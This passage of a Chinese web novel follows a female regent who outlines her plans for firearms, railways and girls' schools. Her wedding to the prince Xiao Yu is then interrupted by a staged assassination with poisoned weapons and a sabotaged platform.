他停顿片刻,目光落在谢凤卿脸上,见她依旧闭目,只有呼吸的韵律显示她在倾听,便继续道:“柳随风此人,城府不浅,却能于绝境中看清时势,做出抉择,有担当,亦懂审时度势。其人心性未失,又得此再造之恩,兼有掌控大局之能,假以时日,当可为一方臂助。其余留用诸人,石镇岳刚直,洪涛精干,钱不多通庶务,皆为可用之才。今日观其言行,敬畏有之,感激有之,对王爷所构画之前景,亦有心驰神往之意。短期之内,物流总司之局面,当可稳住。” 他将今日种种,条分缕析,说得清晰透彻。这确实是堪称完美的一役,政治、经济、人心,皆有所获,且为后续更为庞大的计划铺平了道路。任何一位执政者,能在如此短的时间内,以如此小的代价,完成对江南漕运命脉的掌控与改造,都足以自傲。 然而,萧御的眉头并未舒展。他看着谢凤卿平静的侧脸,那在灯光下几乎透明的肌肤,让他心中那份从白日就隐约存在的、却被激昂局势暂时压下的忧虑,再次翻涌上来,且愈发清晰、沉重。 “只是,凤卿,”他再次开口,声音不自觉地又低了几分,带着一种难以掩饰的忧色,“木秀于林,风必摧之;堆出于岸,流必湍之。行高于人,众必非之。此乃亘古不变之理。” 他身体微微前倾,目光紧紧锁住她,仿佛要穿透她闭着的眼帘,直视她内心的思虑。 “今日之后,你在江南,不,在朝野上下,在天下所有既得利益者眼中,已不仅仅是大权在握、令人生畏的摄政王。你是一个手握富可敌国之财(女学基金)、动辄颠覆传承百年的行规(漕帮改制)、轻易便能攫取底层民心(码头施恩)、行事风格果决狠辣不留余地(铁龙码头血案)的‘异数’。一个无法用常理揣度、不受任何既有规则束缚的‘变数’。” 他语速放缓,每一个字都像是从胸腔里沉重地挤压出来:“你断了多少人赖以攫取暴利的财路?你破灭了多少人借着漕帮盘根错节关系编织的美梦?你又让多少习惯了高高在上、视民如草芥的人,感到了来自底层、来自你所谓‘天下共富’旗帜下的、真真切切的威胁?” 车厢内空气仿佛凝滞了,连车轮碾过石板的声音都似乎变得遥远。鲛绡纱灯的光芒,似乎也黯淡了几分。 萧御深吸一口气,声音压得更低,带着某种近乎耳语的沉重:“徐有财,不过是一个摆在明面上的傀儡,一把用旧了的刀。真正握刀的手,那些潜藏在更深处、与漕帮利益早已盘根错节、一荣俱荣一损俱衰的地方豪强、州府官员,乃至……朝中某些看似超然物外、实则暗中不知伸了多少只手进来分一杯羹的势力,此刻,怕是已经坐不住了。” 他停顿,目光锐利,仿佛能穿透车壁,看到这金陵城、乃至更遥远京师那些深宅大院、朱门府邸中,此刻正在密谋的幢幢鬼影。 “他们不会眼睁睁看着你如此轻易地将江南最肥美、也最要害的一块肉吞下,连骨头都不吐。他们更不会容忍你借着‘女学基金’和‘物流总司’这两只手,将触角如此深入地伸进地方庶务,动摇他们数代人经营起来的根基,打破他们习以为常的秩序。反扑,是必然的。区别只在于,是明日就来,还是蛰伏待机;是明枪,还是暗箭;是朝堂攻讦,还是地方掣肘;是经济封锁,还是……更见不得光的手段。” 第166章螳臂当车,只会被碾得粉碎 他将最坏的揣测,以一种近乎冷酷的平静,摊开在她面前。这不是危言耸听,而是基于他对这个庞大帝国根深蒂固的利益网络的深刻认知,做出的最符合情理的判断。谢凤卿今日之举,动的不是一两个人的奶酪,而是一张庞大、坚韧、且拥有强大反噬能力的利益之网。 车厢内再次陷入长久的沉默。只有马车行驶的声音,单调地重复着,仿佛永无止境。车外的灯火光影,透过车帘的缝隙,在她脸上明明灭灭,勾勒出变幻不定的轮廓。 不知过了多久,就在萧御以为她已经倦极睡去时,谢凤卿缓缓地,睁开了眼睛。 那双眸子,在昏暗迷离的灯光下,幽深如子夜寒潭,不见丝毫疲惫,只有一片冰封般的清明。没有恐惧,没有愤怒,甚至没有算计,只有一种近乎漠然的透彻,仿佛萧御所言的一切,不过是拂面清风,了无痕迹。那目光锐利如出鞘的冰刃,冷冽地扫过萧御的脸,又似乎穿透了他,穿透了车壁,投向了外面无边无际的黑暗,投向那些潜藏在黑暗中的、满怀恶意与恐惧的视线。 “我知道。” 她开口,声音平静得没有一丝波澜,却像冰层下涌动的暗流,带着某种沉重而坚硬的力量,敲打在凝滞的空气里。 “从我决定要动漕帮的那一刻起,我就知道会面对什么。徐有财?他连对手都算不上,不过是一把还算锋利的旧刀,用钝了,该扔了,顺便给握刀的人,和那些习惯了从他身上割肉喝血的人,一个警告。” 她的嘴角,极其轻微地向上弯起一个弧度。那不是笑,甚至没有嘲讽的意味,只是一种纯粹的、冰冷的漠然,像是在陈述一个与己无关的事实。 “让他们来。让他们串联,让他们密谋,让他们用尽一切他们能想到的、光明正大的或者龌龊不堪的手段,来反扑,来阻挠,来试图将一切扳回他们熟悉的轨道。” 她微微坐直了身体,原本靠在车壁上的脊背挺直了一些,这个细微的动作,却让她整个人的气场瞬间发生了变化。方才那短暂的、脆弱的静谧感消失了,取而代之的是一种内敛的、却无比坚实的锋芒。她的目光投向车窗外飞速掠过的、光怪陆离的街景,却又仿佛穿透了这些表象,看到了更深远、更宏大的图景。 “今日在铁龙码头,”她声音依旧平淡,却带上了一丝不易察觉的、金属摩擦般的冷硬,“流的血,不过是个开始。是让那些还沉浸在旧日迷梦里的人,清醒一下,让他们用眼睛看看,用耳朵听听,什么叫做‘大势’,什么叫做‘螳臂当车’。” 她顿了顿,似乎是在组织语言,又像是在确认自己心中那幅早已勾勒无数遍的蓝图。 “我的‘世界火药库’,”她开始一样一样地数,语气平稳,却带着一种不容置疑的确信,“第一批新式燧发火铳和改良过的红衣大炮,已经秘密运抵京营和边军。它们的射程、精度、装填速度,远超旧式火器。工部直属的军器局,以及我在北地新建的三处秘密工坊,正在日夜赶工,产量每月都在攀升。更轻、更准、射程更远的新型号,匠人们已经在尝试。火药本身,硝石提纯、颗粒化、配比优化……每一次微小的改进,都在将杀戮的效率,提升到一个他们无法理解的程度。” “我的‘铁路’,”她的目光似乎投向了北方,“从京城德胜门外起始,向南的第一段五十里路基,已经用水泥和三合土反复夯实,坚固堪比城墙。第一批从遵化铁厂运出的标准钢轨,已经铺设了十里。更大的蒸汽机正在组装,更结实的铁轮车正在打造。也许用不了几个月,你就能亲眼看见,那条钢铁的巨龙,如何喷吐着浓烟与白汽,发出震耳欲聋的咆哮,以日行数百里的速度,在这片古老的土地上奔跑。它将碾碎的,不仅仅是泥土和石子,更是千百年来关于距离与时间的概念。” “我的‘女学’,”她的声音有了一丝极其细微的、几乎无法捕捉的波动,像是寒冰深处一缕极淡的暖流,“从京畿到江南,二十七所蒙学堂,九所技能学堂,有的已经响起稚嫩的读书声,有的正传出织机的札札声。成千上万原本只能蜷缩在灶台边、田埂上、或者被卖去为奴为婢的女童,现在,她们的手拿起了笔,拿起了尺,拿起了梭子。她们学认字,学算数,学手艺。她们或许还不懂什么是‘未来’,但她们的眼睛里,开始有了光。她们是种子,是希望,是这个帝国沉疴积弊的肌体下,正在萌发的新芽。” “而现在,”她的目光收回来,似乎落在了这辆正在夜色中行进的马车上,落在了这金陵城,落在了那条刚刚易主的大运河上,“我的‘物流总司’,即将接手这条流淌了数百年的黄金水道。它不再仅仅是运送漕粮的工具,不再仅仅是帮派盘剥的摇钱树。它将被打造成一条高效、畅通、可控的物流动脉。它会连接起我的火药工坊和边疆,连接起我的铁矿和铁路工地,连接起江南的丝绸茶叶和北地的皮货药材,最终,连接起神州的港口和遥远的海洋彼岸。它是基石,是血管,是下一段征程的起点。” 她的声音一直不高,语速平缓,像是在陈述一些早已确定无疑的事实。没有激昂的语调,没有挥舞的手臂,但每一个字,都像是一记重锤,敲打在萧御的心上,也敲打在这寂静车厢内的无形壁垒上。那不是梦想,那是正在被她用钢铁、火药、资本、制度,一点点从图纸上搬到现实里的、冰冷而坚硬的未来。 “时代的车轮,萧御,”她第一次在今晚的对话中,叫了他的名字,目光也终于从窗外收回,落在了他的脸上。昏暗的光线中,她的眼睛亮得惊人,那不是灯火的反光,而是内里燃烧着的某种东西——是足以焚毁一切腐朽枷锁的野火,也是足以冰封千里、碾碎一切阻碍的寒流,两种截然相反的特质,在她眼底奇异地融合,化作一片深不见底的漩涡。 “它已经启动了。从我踏入朝堂,从我举起那枚‘财神’印信的那一刻,或许更早,从我来到这个世界的那一刻,它就开始转动了。现在,它正在加速,越来越快,带着钢铁的摩擦声,带着火药的硝烟味,带着蒸汽的轰鸣,滚滚向前。” 她的身体微微前倾,拉近了与萧御的距离。一股极淡的、混合着冷冽梅香与书房墨意的气息,萦绕过来。 “他们越是想反扑,就越会绝望地发现,他们面对的,不是我谢凤卿一个人,不是某一项他们看不懂的政策,而是一股洪流。一股由更好的技术、更合理的制度、更迫切的民心、以及对更美好生活的渴望,所汇聚成的、无可阻挡的洪流。他们那些陈腐的阴谋、盘根错节的关系、自以为是的权势,在这股洪流面前,脆弱得如同烈日下的积雪,浪潮前的沙堡。” 她的声音陡然转冷,带着斩钉截铁的决绝: “螳臂当车,只会被碾得粉碎,连一点痕迹都不会留下。逆流而动,终将被时代的浪潮吞没,成为河床底部无人记得的淤泥。我要做的,就是站在这潮头,看清方向,然后,引导这股洪流,冲垮所有阻挡在前的、腐朽的、压迫的、不公的堤坝,将它们彻底荡涤干净,为新的世界,开辟出河道。” 萧御定定地凝视着她,呼吸在那一瞬间几乎停滞。她的脸上依旧没有什么激烈的表情,甚至比平时更显得淡漠。但那双眼睛,那双燃烧着冰与火的眼睛,和那平静语调下蕴含的、近乎狂暴的意志与力量,形成了一种令人心悸的对比。他仿佛看到,在她单薄的身体里,蕴藏着一个足以翻天覆地的灵魂,一片即将席卷整个时代的暴风眼。 马车轻轻一顿,停了下来。外面传来侍卫低沉的声音:“王爷,殿下,行辕到了。” 车厢内的凝固气氛被打破。谢凤卿眼底那惊人的光芒瞬间收敛,重新变回那片深不见底的幽潭。她微微后靠,恢复了之前那种略显疲惫的闭目姿态,仿佛刚才那一番石破天惊的话语,只是萧御的幻觉。 萧御喉结滚动了一下,想说些什么,却发现千言万语堵在胸口,最终只化作一声几不可闻的叹息,和眼底深处,那无法掩饰的、混合着震撼、忧虑、以及某种更为炽热复杂的情绪的光芒。 他先一步下车,然后向她伸出手。 谢凤卿睁开眼,看了看他伸出的手,停顿了一瞬,然后将自己的手放了上去。指尖微凉。 萧御握紧,扶着她稳稳下了马车。 行辕门前灯笼高悬,将两人的身影拉得很长。夜色深沉,远处的金陵城灯火阑珊,近处的庭院树影婆娑。一场震动江南的风暴似乎暂时平息,但他们都清楚,更深、更暗的潜流,正在这平静的夜色下,开始涌动。 而他们,正站在风暴眼的中心。 第167章成亲 京城仿佛被浸入了蜜糖与金粉的海洋,每一个角落都流淌着过于饱和的喜庆。 自宫门至摄政王府,再延伸至太庙的十里长街,尽数铺上了从江南急运而来的崭新红毡,厚达三指,踏上去悄无声息。两侧檐下,朱红宫灯如血珠般连绵不绝,每盏灯罩上都描着精细的龙凤呈祥纹样;彩绸从最高的楼阁垂落,在微凉的晨风里缓缓飘荡,宛如天地间扯开的红色经脉。御道两侧,金甲卫士持戟肃立,每隔五步一人,阳光下铠甲反射出冰冷而耀眼的光斑,构成一道沉默的金属屏障。更外围,是如山如海、翘首以盼的百姓,他们天未亮便占据了好位置,此刻人人脸上都蒸腾着与有荣焉的兴奋与好奇——毕竟,摄政王与监国亲王的大婚,早已被渲染成不仅仅是两个人的结合,更是这个历经动荡的帝国走向稳定与强盛的至高象征。 空气是稠的。鞭炮燃尽后的硫磺味、为装饰而运来的整船鲜花的芬芳、百姓身上蒸腾出的汗气、还有某种盛大节日特有的、令人微醺的欢腾气息,全都混杂在一起,沉甸甸地压在每个人的肺叶上。偶尔有孩童的欢叫或货郎的叫卖声刺破这片喧哗,却很快又被更庞大的声浪吞没。 太庙前的广场,此刻已是人的海洋与权力的展台。 广场中央,一座高达九丈、遍饰金玉的龙凤大婚高台巍然矗立,在晨曦中熠熠生辉,恍若神迹。高台呈圆形,取“天圆地方”之意,台基以青石垒成,雕满祥云瑞兽;台面铺着西域进贡的猩红地毡,厚实绵软,赤足踏上去想必温暖如春。四周围以三尺高的汉白玉栏杆,每一根立柱上都盘绕着精雕细琢的龙与凤,龙目嵌黑曜石,凤睛点红宝石,在光线下流转着幽暗的光泽。台上正北设紫檀香案,供奉着天地祖宗牌位,青铜香炉中三柱儿臂粗的龙凤香已静静燃起,青烟笔直上升,融入淡蓝天际。 台下,格局森严。 文武百官按品阶肃立,文东武西,从一品大员到末流小官,依序排列,鸦雀无声。他们穿着最隆重的朝服,补子上的仙鹤、麒麟、狮子、豹子……在微风中轻轻颤动,像一片沉默的兽群。各国使节身着奇装异服,居于特设的观礼区,交头接耳,目光闪烁,打量着这帝国最高规格的仪典。而宗室成员——经过此前数轮血腥清洗后所剩无几的幸存者——则被安置在最末尾的角落,一个个脸色发白,眼神躲闪,连呼吸都刻意放轻,仿佛生怕引起任何不必要的注意。 吉时,就在这片盛大而紧绷的寂静中,悄然逼近。 “铛——!” 太庙方向传来一声悠长深远的钟鸣,余音如涟漪般荡开,瞬间压过了所有市井喧哗。 礼乐声起。 先是编钟清越,青铜撞击之音如碎玉落盘,自高台四角悬挂的巨钟上流淌而出,每一个音符都精确地敲打在心跳的间隙。继而笙箫合鸣,丝竹婉转,庄重恢弘的《韶乐》如同无形的潮水,从乐师所在的彩棚中漫涌出来,填满了广场的每一寸空间。这乐曲古老而威严,传说中唯有圣人临世或天下大定时方可演奏,此刻它回荡在初春微寒的空气里,带着一种近乎神谕的重量。 在万众瞩目与这沉甸甸的礼乐声中,两位新人自高台两侧的龙凤阶梯,缓缓登上。 东侧阶梯,萧御一步步向上。 他今日穿着最为隆重的亲王冕服:玄衣纁裳,上衣玄黑象征天,下裳纁红象征地,上以金线绣满日、月、星辰、山、龙、华虫、宗彝、藻、火、粉米、黼、黻九章纹饰,每一针都藏着皇权的密码。头戴九旒冕冠,白玉旒珠共一百六十二颗,垂落眼前,随着步伐轻轻晃动,将他深邃的目光切割成细碎的流光。腰佩玉带,悬挂着象征他监国亲王身份的金印,以及——那枚至关重要的、已与谢凤卿手中半符合二为一的完整虎符。虎符以玄铁铸成,卧虎之形,暗沉无光,却比任何珠宝都更重。 他面容沉静,步伐稳健,一步一步踏在猩红地毡上,仪态完美得无可指摘。但若有人能穿透那晃动的旒珠细看,便会发现他紧抿的唇角绷成一道僵直的线,握住象征礼器的玉圭的手,指节因过度用力而微微泛白,青筋在手背上隐现。这场大婚承载了太多——帝国的期待、新政的象征、旧势力的虎视眈眈、以及他自己那份深埋于权谋与责任之下、却炽热如岩浆的情感。此刻尽数压在他肩头,让每一次呼吸都需暗自用力。 而自西侧阶梯拾级而上的谢凤卿,则让所有目睹之人,无论敌友,都在瞬间屏住了呼吸。 她没有穿传统的凤冠霞帔。 那一身前所未有的“玄朱冕服”,在晨光中泼洒出惊心动魄的威仪与美。礼服以最上等的玄色云锦为底,那玄色极深,近乎于夜,却又在走动间流淌出暗紫色的微光,象征着摄政王至高无上的权柄与深不可测的威严。其上,以赤金线捻入朱红丝,绣满了展翅翱翔九天的凤凰。凤凰的姿态凌厉张扬,每一片羽毛都根根分明,尾羽迤逦如燃烧的火焰,仿佛随时会破衣而出,直上青冥。而在凤凰羽翼与长尾之间,巧妙地缠绕着柔韧的桃枝与盛放的桃花纹样,桃花柔美,桃枝却带着铮铮骨力。 这正是她——“铁血摄政”与“桃花剑主”——双重身份最极致的融合。玄与朱,冷与炽,权柄与柔情,在针线间达成了奇异的统一。 她头戴的亦非沉重凤冠,而是一顶改良过的七旒冕冠。冠体以乌木为基,嵌七道玉衡,每道垂下七串旒珠。旒珠并非传统的白玉,而是罕见的黑曜石与鸽血红宝石相同,黑者如深渊凝眸,红者如心血凝结,随着她的步伐轻轻碰撞,发出细碎清泠的微响,既恪守了礼制,又凸显出独一无二的凌厉。面上,一层轻薄如烟的红纱覆住了容颜,只朦胧勾勒出挺秀的鼻梁与下颌的线条。然而,正是这层薄纱,让那双露出的眸子显得愈发清冷明澈,顾盼间,无需言语,自有睥睨天下、洞悉人心的威仪流转。 腰间,那柄从不离身的桃花剑依旧悬挂。剑鞘是古朴的桃木色,此刻却在剑柄处系了一小段崭新的红色丝绦,打了个精巧的平安结,于肃杀中平添一抹属于今日的、柔软的喜气。 两人几乎同时踏上最后一级台阶,于高台中央、香案之前站定,面向南方苍天。 风在这一刻似乎也静止了。广场上万人无声,连礼乐都刻意低缓下去,只剩下旌旗在极高处被气流拉扯出的、猎猎的孤独声响。 礼部尚书担任司仪,这位年过花甲的老臣深吸一口气,用毕生修炼出的、最洪亮最沉稳的嗓音,拖着庄严古雅的长调,开始主持这祭告天地祖宗的大婚正礼。 “一拜天地——!” 萧御与谢凤卿同时转身,面向南方那无垠的苍天与初升的朝阳,整肃衣冠,深深地、缓缓地揖礼下去。玄衣与朱裳的衣摆拂过猩红地毡,动作整齐划一,带着某种仪式性的力量。广场上,万民屏息,无数道目光聚焦于这向天地致敬的身影。 “二拜高堂——!” 因双方父母皆已不在,两人转向皇宫方向,再向太庙,同样郑重行礼。这一刻,他们拜的不仅是血缘亲缘,更是这巍巍帝国、列祖列宗交付与他们的沉重江山。 “夫妻对拜——!” 两人相对而立。 隔着那层轻薄的红纱,萧御能清晰地看到谢凤卿眼中的沉静。那沉静之下,是历经血火淬炼的坚韧,是掌控乾坤的从容,然而在这一刻,在那双惯常清冷的眸底深处,他竟捕捉到了一丝极淡的、几乎难以察觉的柔和。那柔和如同冰封湖面下悄然涌动的一缕暖流,只为他一人显现。 他心中猛地涌起一股滚烫的热流,瞬间冲垮了所有紧绷的堤防。那些关于权谋的算计、关于安危的忧虑、关于未来的重压,似乎都被这惊鸿一瞥的眼神熨帖平整。他不再仅仅是一个履行政治使命的亲王,更是一个即将与心上人缔结盟誓的丈夫。他看着她,眼中再无其他,郑重地、深深地弯下腰去,头颅低垂,是一个毫无保留的交付姿态。 谢凤卿亦敛衽,盈盈还礼。红纱轻晃,无人得见她唇角是否曾有过一丝极细微的弧度。 三拜礼成。 《韶乐》的音量陡然升高,恢弘喜庆的旋律冲刷着整个广场,压下了那片刻凝滞的寂静。百姓中终于爆发出压抑已久的欢呼声,声浪如潮,拍打着高台的基座。百官虽仍保持肃立,但面色明显松弛不少,甚至有人偷偷交换着如释重负的眼神——最关键的仪式部分,总算顺利完成,未出差错。 按照仪程,接下来将是交换信物、共饮合卺酒,然后接受百官与万民朝贺。胜利在望,喜庆的氛围即将攀至顶峰。 第168章找剑!找虎符 礼部尚书脸上也露出一丝不易察觉的笑意,清了清嗓子,用更加高昂饱满的声调高唱: “新人——交换信物!” 萧御从身旁内侍捧着的鎏金盘中,取出了那枚他珍藏许久的戒指。戒指以天外陨铁打造,色泽暗沉如夜,却在指环内侧镶嵌了一线冰蓝的寒玉髓,触手温凉,据说有宁心定神之效。这是他亲自设计,命宫中巧匠耗时三月打磨而成。 而谢凤卿这边,已升任王府内管事的阿九,同样捧上一个紫檀木盘,盘中铺着墨绿色丝绒,上面应当就是那枚与之配对、镶嵌着炎阳石的女戒。阿九低着头,捧盘的手稳如磐石,只是指尖微微发白。 萧御伸出手,掌心向上,等待着。 谢凤卿的手也抬了起来,指尖即将触碰到那枚炎阳石戒指—— 然而,就在这一片祥和、气氛即将达到顶峰的、心跳都仿佛停滞的瞬间—— 异变,陡生于瞬息之间! “嗖——!!!” 一道凄厉到无法形容、尖锐到撕裂耳膜的破空尖啸,毫无任何征兆地,悍然撕裂了庄重的礼乐、鼎沸的人声、以及那悬浮于空气中的全部喜庆! 那不是寻常箭矢离弦的声响。那声音更沉、更锐、更急,带着一种螺旋状的、钻透一切的恶毒劲力,仿佛地狱的裂缝突然绽开,释放出索命的恶鬼呼啸!声音传来的方向极其刁钻,似乎同时从数个方位炸响,让人根本无法瞬间判断来源! 目标,明确无误——直指高台中央、刚刚完成夫妻对拜、正准备交换信物的谢凤卿的后心! 箭矢未至,那凌厉的杀意已如实质的冰针,刺得她后背肌肤瞬间绷紧! “护驾!!!”萧御的瞳孔骤缩成针尖,怒吼声与弩箭的尖啸几乎在同一刹那爆开!他全身的血液在瞬间冲上头顶,理智还未反应,身体已如蓄满力的弓,本能地就要向侧前方扑去,用自己的身躯挡在谢凤卿与那死亡轨迹之间! 但谢凤卿的反应,比他更快! 不,那或许已不能称之为“反应”。那是无数次游走于生死边缘所磨砺出的、近乎野兽般的直觉,是身体先于意识的本能行动! 在弩箭破空声撕裂空气的前一刹那,她腰间那柄系着红绦的桃花剑,剑鞘之中已然传出一声低沉嗡鸣,剑身自动弹出三寸!清冷的剑光一闪而逝。 她甚至没有完全转身。 听风辨位,锁死杀机。 左手如电,向后疾抄! “啪!” 一声清脆而令人牙酸的撞击摩擦声。 在箭镞距离她后背已不足半尺、那淬毒的锋尖几乎要触碰到她玄色冕服上金线凤凰羽翼的、间不容发的刹那—— 她的左手,精准地、死死地,攥住了那枚激射而至的弩箭箭杆! 箭杆入手滚烫,带着高速旋转产生的灼热与可怕的冲击力,震得她手腕骨节发出细微的咯吱声,整条手臂都为之一麻!箭尾的螺旋翼仍在疯狂旋转,割破了她的掌心,鲜血瞬间渗出,染红了箭杆与她白皙的手指。 箭,停住了。 毒辣的箭镞,凝滞在她背心之后,咫尺之遥。 时间仿佛在这一抓之下,有了一个极其短暂的、凝固的瞬间。 高台上,萧御僵住的身形,谢凤卿反手抓箭的背影。高台下,近处几名官员骤然瞪大的眼睛,远处百姓脸上尚未褪去的欢呼笑意。 然后—— “敌袭——!!!” “有刺客!保护王爷!保护殿下——!!!” 台下护卫统领凄厉的怒吼,与百姓后知后觉爆发出的、海啸般惊恐的尖叫,轰然混杂在一起,彻底炸碎了那短暂的凝固! 然而,敌人的攻击如同早已计算好的、环环相扣的死亡乐章,根本不给任何人喘息和反应的间隙!第一支夺命弩箭,仅仅只是这部血腥交响曲残酷而精准的第一个音符! “唰!唰!唰!” 几乎就在谢凤卿抓住弩箭的同一秒,从广场四周截然不同的、绝不可能被同时监控的方向—— 观礼的百官人群之中,三名身着五品文官鸂鶒补服、一直低眉顺眼的“官员”,猛然撕开官袍!外围百姓拥挤处,七八个挑着担子、戴着斗笠的货郎,甩飞了担子,抽出了藏在扁担中的细刃!甚至是从某些使节团的后方随从队伍里,也有数道黑影暴起发难! 数十道,不,近百道黑影,如同蛰伏已久的鬼魅,在同一时刻撕去所有伪装! 外衣碎裂纷飞,露出里面紧贴身体的纯黑夜行衣,布料哑光,吸尽光线。而每个人胸口,都用暗红色的丝线,绣着一只展翅欲飞、眼神凶戾的血色乌鸦! ——正是昨夜几乎被风雪十八骑与禁军联手剿灭的“影鸦”死士残部!他们非但没有如预料中般溃散隐匿,反而以某种不可思议的方式,瞒天过海,混入了这戒备森严的大婚核心现场!数量,远比最坏的预估还要多,且个个眼中燃烧着绝非乌合之众的、冷酷而疯狂的决死之意! 这些真正的杀戮机器甫一现身,便展现出令人胆寒的效率与默契。 一部分死士,根本无视台下冲来的护卫,眼中只有高台上那两个鲜红的目标,悍不畏死地直扑而上,身形如黑色疾电!另一部分,则如同虎入羊群,扑向周围惊慌的官员和试图结阵的护卫,刀光闪处,鲜血迸溅,惨叫声瞬间迭起!他们不追求一击毙命,而是以最狠辣快捷的手法制造伤口,因为他们的兵刃之上,全都涂抹着一层幽蓝色的、泛着诡异光泽的剧毒,见血封喉,沾之即死!恐慌如同投入滚油的冰水,轰然炸开,并急速蔓延! 然而,最致命的一击,并非来自这些暴起的死士。 而是来自他们脚下,这座象征着天圆地方、帝国祥瑞的龙凤高台本身! 就在几名死士如同壁虎般蹿到台基之下、挥刀砍翻两名金甲卫士的同时—— “咔嚓!咔嚓嚓——!” 台基内部,传来几声沉闷得令人心悸的、木质结构断裂的巨响!那声音不像自然倒塌,倒像是精心布置的机括,在特定时机被同时触发! 紧接着—— “轰隆——!!!” 谢凤卿与萧御脚下所站的、铺设着西域猩红地毡的华丽台面,猛地向内倾斜、塌陷下去一大片!碎裂的木料、崩飞的金玉装饰、扬起的尘土与猩红毡毛的碎片,瞬间如喷泉般向上迸发、弥漫! 这绝非工程质量问题!这是早在搭建之时,甚至可能在设计之初,就已被人埋下的毁灭伏笔!高台的结构关键支撑点被做了手脚,只待此刻引爆! “凤卿!”台面塌陷的瞬间,天旋地转,萧御的惊呼被淹没在巨响中。他本能地伸手,在一片混乱的烟尘与下坠感中,朝着谢凤卿的方向狠命抓去! 谢凤卿一手还死死攥着那枚毒箭,另一手在失衡中挥剑——“桃花剑”此刻已然完全出鞘,剑光如雪,斩断一根裹挟着碎金断玉砸落下来的粗大横梁!木屑纷飞,但她脚下的立足点已然消失,整个人随着塌陷的台面向下坠去! 混乱中,只听“嘣”的一声轻响——那根系着桃花剑与红色丝绦的腰间丝绦,竟被一根高速飞溅而来的、边缘锋利的断裂木刺,精准地划断! “锵啷啷——!” 桃花剑脱身飞出,在空中划过一道黯淡的弧光,重重撞在已然扭曲变形的汉白玉栏杆上,溅起几点火星,随即弹落在地,滚入烟尘与杂物之中。剑身上,瞬间多了数道刺眼的划痕与凹坑,清吟之声变得暗哑。 几乎在同一时刻,萧御在全力稳住自己身形、并试图去抓谢凤卿时,腰间猛地一松——悬挂着那枚完整虎符的锦囊系带,不知被哪一处飞来的断裂榫头或勾连的彩绸狠狠勾断! 锦囊脱腰飞起! 那枚沉甸甸、黑沉沉、象征着帝国一半以上兵马调动之权的玄铁虎符,从翻飞的锦囊口滑出,在混乱的人影、飞扬的尘土、倾倒的器物与弥漫的烟尘中,划过一个短暂的抛物线,旋即不知掉落在了何处,被无数慌乱踩踏的脚步和倒塌的杂物瞬间淹没! 桃花剑脱手! 虎符失踪! “找剑!找虎符!”萧御目眦欲裂,眼睛布满血丝,对着台下正拼命逆着人潮、试图向崩塌高台冲来的风雪十八骑和自家亲卫发出嘶哑的怒吼。但他自己也深陷绝境,崩塌的台面形成了一个危险的斜坡和陷阱,数名“影鸦”死士已然如同附骨之疽,攀着残破的结构,跃上这倾斜的、摇摇欲坠的平台,手中涂抹着幽蓝剧毒的兵刃闪着冰冷的光,从不同角度向他们扑来! 谢凤卿眼中寒芒爆射,如千年冰潭炸裂!她终于丢开手中那枚碍事的弩箭,没了桃花剑,她五指并拢,指尖真气灌注,竟发出细微的嗤嗤破空声,莹白如玉的指尖萦绕着凛冽到肉眼几乎可见的透明剑气! 身形如穿花蝴蝶,又似鬼魅凌波,在狭窄失衡、杂物遍布的倾斜台面上,与数名合围上来的死士展开近身周旋。招式狠辣简洁,毫无花哨,指尖每一次点、划、刺、挑,都直奔死士要害——咽喉、眉心、心口、关节!空气中响起沉闷的噗噗声与骨头碎裂的咔嚓声,瞬间便有两人被点中要害,哼都未哼一声便软倒下去,伤口处泛起诡异的蓝黑色。 第169章断魂崖 但死士人数太多,且完全不顾自身伤亡,攻击如同汹涌的潮水,一波未平一波又起!他们配合默契,有人专攻下盘,有人凌空扑击,有人发射淬毒暗器,将谢凤卿与萧御的活动空间压缩得越来越小。 台下,更是彻底乱成了一锅沸腾的、绝望的粥。 文武百官惊惶奔逃,互相推搡践踏,官帽掉落,袍服撕裂,平日里道貌岸然的仪态荡然无存,只剩下求生的本能。护卫们红了眼,与死士绞杀在一起,刀剑碰撞声、怒吼声、濒死惨叫声、兵刃入肉声不绝于耳,鲜血肆意泼洒在红毡、青石乃至朱红的宫灯上。百姓的哭嚎声与恐慌的尖叫声汇成恐怖的声浪,如山崩海啸般向外围席卷,彻底冲垮了外围金甲卫士勉强维持的警戒线,人踩人,人推人,不知多少人倒地后再也没能起来。各国使节在随从拼死保护下惊惶后退,脸上写满了难以置信与深深的忌惮——这场面,已远远超出了一场刺杀的范畴! 而在更远的地方,皇宫深处,某座早已荒废、连宫人都绕道而行的冷宫最高阁楼之上。 本该被严密关押、等待审讯的萧子玄,竟不知如何出现在了这里! 他披头散发,身上只穿着单薄的白色中衣,赤着脚,脸上是一种病态的、亢奋的潮红,双眼布满血丝,燃烧着近乎癫狂的火焰。他紧紧抓着一架单筒千里镜,手指因用力而关节发白,死死盯着太庙广场方向那冲天的烟尘与混乱,身体因激动而微微颤抖。 “对……对!就是这样!杀!杀了她!一个都不留!”他喉咙里发出压抑的、漏风般的嘶吼,声音干涩而尖锐,充满了无尽的怨毒与快意,“哈哈哈!你们以为昨夜赢了?你们以为抓了个替身就万事大吉?蠢货!那只是开胃的小菜!这才是……这才是宗室,是本王,送给你们这场‘旷世大婚’的——厚礼!” “谢凤卿……萧御……”他牙齿咬得咯咯作响,目光穿透千里镜,仿佛能亲眼看到高台上的惨状,“我要你们死无全尸!我要你们的婚礼,变成全天下最大的笑话!变成史书上最血腥、最耻辱的一页!哈哈哈哈——!” 狂笑声在空旷破败的阁楼里回荡,诡异而森然。 显然,昨夜被抓的“萧子玄”,要么是精心准备的替身,要么他手中还掌握着不为人知的、直通皇宫内苑的隐秘脱身渠道。他并未远遁,反而潜伏在最近、也最危险的地方,遥控着这场蓄谋已久、倾尽宗室最后力量与怨恨的——终极刺杀! 高台之上,倾斜的残破平台。 谢凤卿与萧御背靠着背,急促地喘息着,抵挡着源源不绝、仿佛杀之不尽的死士攻击。谢凤卿那身华美绝伦的玄朱冕服,已被划破数道裂口,露出里面白色的中衣和隐约的血痕,脸上红纱早已不知去向,面色因激战、失血和可能的毒素影响而显出一种脆弱的苍白,但那双眸子,依旧锐利如鹰隼,亮得惊人。萧御的九旒冕冠早已歪斜,一缕黑发被汗水与血污黏在额角,玉带断裂,手臂上一道伤口深可见骨,鲜血染红了半幅纁红衣袖,他手中临时夺来的一柄长剑,也已崩出数个骇人的缺口。 风雪十八骑和萧御的亲卫拼死向高台方向冲击,但被混在溃逃人群中的死士、以及更多被恐慌驱使的百姓层层阻隔,举步维艰,每前进一步都要付出血的代价。 